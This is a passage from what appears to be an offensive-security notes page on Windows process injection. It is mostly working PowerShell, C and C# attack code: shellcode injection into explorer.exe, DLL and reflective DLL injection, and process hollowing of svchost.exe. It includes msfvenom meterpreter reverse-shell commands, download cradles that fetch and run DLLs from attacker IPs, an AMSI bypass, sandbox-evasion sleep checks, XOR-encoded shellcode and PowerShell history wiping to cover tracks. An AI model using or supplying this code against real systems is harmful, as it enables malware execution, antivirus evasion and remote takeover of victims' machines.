DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$procId = (Get-Process explorer).Id
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0 #...........
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
(getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),
(getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),
(getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)
Write-Host "Injected! Check your listener!"
We can also use the following, targeting either medium or high integrity processes, with sleep timers, amsi bypass and cleaning powershell logs after execution:
# The LookupFunc function is used to find the address of a function within a DLL.
function LookupFunc {
Param ($moduleName, $functionName)
# Retrieves a handle to the 'System.dll' assembly and locates the 'GetProcAddress' method.
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
# The getDelegateType function dynamically creates a delegate type for unmanaged function calls.
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
# Insert here decryption function if needed
# AMSI Bypass
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Sleep timer for delaying execution.
$starttime = Get-Date -Displayhint Time
Start-sleep -s 5
$finishtime = Get-Date -Displayhint Time
if ( $finishtime -le $starttime.addseconds(4.5) ) {
exit
}
[Byte[]] $buf = # shellcode
# Process injection in high integrity
# This section is commented out, but if enabled, it would target a high integrity process like 'dllhost'
# Get the process ID of the first instance of 'dllhost' process
# $procid=(get-process dllhost)[0].id
# Open the target process with maximum allowed privileges (0x001F0FFF)
# $hprocess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [bool], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, $false, $procid)
# Allocate memory in the target process for the shellcode
# $addr= [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hprocess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# Variable to store the number of bytes written during the WriteProcessMemory operation
# [Int32]$lpNumberOfBytesWritten = 0
# Write the shellcode into the allocated memory
# [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType())([bool]))).Invoke($hprocess, $addr, $buf, $buf.length, [ref]$lpNumberOfBytesWritten)
# Create a remote thread in the target process to execute the shellcode
# [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke($hprocess,[IntPtr]::Zero,0,$addr,[IntPtr]::Zero,0,[IntPtr]::Zero)
# Process injection in medium integrity
# Get the process ID of the first instance of 'explorer' process with CPU usage greater than 0
$procid=(get-process explorer | where-object CPU -GT 0)[0].id
# Open the target process with necessary privileges
$hprocess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess), (getDelegateType @([UInt32], [bool], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, $false, $procid)
# Allocate memory in the target process for the shellcode
$addr= [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hprocess, [IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# Variable to store the number of bytes written during the WriteProcessMemory operation
[Int32]$lpNumberOfBytesWritten = 0
# Write the shellcode into the allocated memory
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType())([bool]))).Invoke($hprocess, $addr, $buf, $buf.length, [ref]$lpNumberOfBytesWritten)
# Create a remote thread in the target process to execute the shellcode
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread), (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke($hprocess,[IntPtr]::Zero,0,$addr,[IntPtr]::Zero,0,[IntPtr]::Zero)
# Clears PowerShell command history to reduce traces of the attack
$file = "$Env:APPDATA\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt";Get-Content $file | Measure-Object -Line;$a = (Get-Content $file | Measure-Object);(Get-Content $file) | ? {($a.count)-notcontains $_.ReadCount} | Set-Content $file
$file = "$Env:APPDATA\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt";Get-Content $file | Measure-Object -Line;$a = (Get-Content $file | Measure-Object);(Get-Content $file) | ? {($a.count)-notcontains $_.ReadCount} | Set-Content $file
DLL Injection - Process Injection
C DLL Injection
- DLL to inject
We can use the same as in Local Payload Execution section.
- Tool for Remote DLL Injection
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
/*
Api functions used (to do the dll injection part):
- VirtualAllocEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
- WriteProcessMemory: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
- VirtualProtectEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
- CreateRemoteThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
*/
// Function that will inject a DLL, DllName, into a remote process of handle, hProcess
BOOL InjectDllToRemoteProcess(HANDLE hProcess, LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
SIZE_T lpNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// Getting the base address of LoadLibraryW function
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Allocating memory in hProcess of size dwSizeToWrite and memory permissions set to read and write
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] pAddress Allocated At : 0x%p Of Size : %d\n", pAddress, dwSizeToWrite);
printf("[#] Press <Enter> To Write ... ");
getchar();
// Writing DllName to the allocated memory pAddress
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite){
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] Successfully Written %d Bytes\n", lpNumberOfBytesWritten);
printf("[#] Press <Enter> To Run ... ");
getchar();
// Running LoadLibraryW in a new thread, passing pAddress as a parameter which contains the DLL name
printf("[i] Executing Payload ... ");
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE !\n");
_EndOfFunction:
if (hThread)
CloseHandle(hThread);
return bSTATE;
}
/*
API functions used (to do the process enumeration part):
- CreateToolhelp32Snapshot: https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
- Process32First: https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
- Process32Next: https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
- OpenProcess: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
*/
// Gets the process handle of a process of name, szProcessName
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
HANDLE hSnapShot = NULL;
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
// Takes a snapshot of the currently running processes
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first process encountered in the snapshot.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Converting each charachter in Proc.szExeFile to a lowercase character and saving it
// in LowerName to perform the wcscmp call later
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// Compare the enumerated process path with what is passed
if (wcscmp(LowerName, szProcessName) == 0) {
// Save the process ID
*dwProcessId = Proc.th32ProcessID;
// Open a process handle and return
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// Retrieves information about the next process recorded the snapshot.
// While we can still have a valid output ftom Process32Next, continue looping
} while (Process32Next(hSnapShot, &Proc));
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL;
DWORD dwProcessId = NULL;
// Checking command line arguments
if (argc < 3){
wprintf(L"[!] Usage : \"%s\" <Complete Dll Payload Path> <Process Name> \n", argv[0]);
return -1;
}
// Getting the handle of the remote process
wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[2]);
if (!GetRemoteProcessHandle(argv[2], &dwProcessId, &hProcess)) {
printf("[!] Process is Not Found \n");
return -1;
}
wprintf(L"[+] DONE \n");
printf("[i] Found Target Process Pid: %d \n", dwProcessId);
// Injecting the DLL
if (!InjectDllToRemoteProcess(hProcess, argv[1])) {
return -1;
}
CloseHandle(hProcess);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
C# DLL Injection
For larger codebases or pre-existing DLLs, we might want to inject an entire DLL into a remote process instead of just shellcode.
We want the remote process to load our DLL using Win32 APIs. Unfortunately, LoadLibrary can not be invoked on a remote process, so we’ll have to perform a few tricks to force it.
We must consider that the DLL must be written in C or C++ and must be unmanaged. The managed C#-based DLL will not work because we can not load a managed DLL into an unmanaged process.
So first we need to create our malicious DLL in C or C++ we can do this with msfvenom.
To implement the DLL injection technique, we are going to create a new C# .NET Standard Console app that will fetch our DLL from the attacker’s web server. We’ll then write the DLL to disk since LoadLibrary only accepts files present on disk.
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
// Import necessary APIs
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
// Get the path to the DLL file
String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\met.dll";
// Download the DLL file from a remote location
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.119.120/met.dll", dllName);
// Get the process ID of the target process
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
// Open the target process
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
// Allocate memory in the target process
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
// Write the path of the DLL to the memory of the target process
bool res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
// Get the address of the LoadLibrary function from kernel32.dll
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// Create a remote thread in the target process to call LoadLibrary and load the DLL
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
}
Loading a DLL into a remote process is powerful, but writing the DLL to disk is a significant compromise. We can fix that issue with Reflective DLL Injection in Powershell.
PS Reflective DLL Injection
$bytes = (New-Object
System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll')
$procid = (Get-Process -Name explorer).Id
Import-Module C:\Tools\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
Oneliner for powershell DLL download cradle: $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.195/basic.dll');$assem = [System.Reflection.Assembly]::Load($data);$class = $assem.GetType("dll.Class1");$method = $class.GetMethod("runner");$method.Invoke(0, $null)
Process Hollowing
In this section, we’ll migrate to svchost.exe, which normally generates network activity (previouslly, with explorer, our activity is somewhat masked by familiar process names, but we could still be detected since we are generating network activity from processes that generally do not generate)
The problem is that all svchost.exe processes run by default at SYSTEM integrity level, meaning we cannot inject into them from a lower integrity level. Additionally, if we were to launch svchost.exe (instead of Notepad) and attempt to inject into it, the process will immediately terminate.
To address this, we will launch a svchost.exe process and modify it before it actually starts executing. This is known as Process Hollowing and should execute our payload without terminating it.
There are a few steps we must perform and components to consider, but the most important is the use of the CREATE_SUSPENDED flag during process creation. This flag allows us to create a new suspended (or halted) process.
When a process is created through the CreateProcess265 API, the operating system does three
things:
1. Creates the virtual memory space for the new process.
2. Allocates the stack along with the Thread Environment Block (TEB) and the Process Environment Block (PEB).
3. Loads the required DLLs and the EXE into memory.
Once all of these tasks have been completed, the operating system will create a thread to execute the code, which will start at the EntryPoint of the executable. If we supply the CREATE_SUSPENDED flag when calling CreateProcess, the execution of the thread is halted just before it runs the EXE’s first instruction.
At this point, we would locate the EntryPoint of the executable and overwrite its in-memory content with our staged shellcode and let it continue to execute.
C# Process Hollowing
First, create a new Console App project in Visual Studio (VS Project https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Shellcode%20Process%20Hollowing). This is an example with XOR Encoding.
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing
{
public class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
public static void Main(string[] args)
{
// AV evasion: Sleep for 10s and detect if time really passed
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa, 0xa8,
// …………
0x05, 0x1d, 0xa2, 0x90, 0xfa, 0xa3, 0x41, 0x1a, 0xe7, 0xd0, 0xf0, 0xbb, 0x73, 0x20, 0x05,
0x2f
};
// Start 'svchost.exe' in a suspended state
StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
// Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
// Get entry point of the actual process executable
// This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
// From the PEB (address we got in last call), we have to do the following:
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
// 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
// 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
// Carrying on, decode the XOR payload
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Console.WriteLine("XOR-decoded payload.");
// Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
// Resume the thread to trigger our payload
uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
}
}
}
Last updated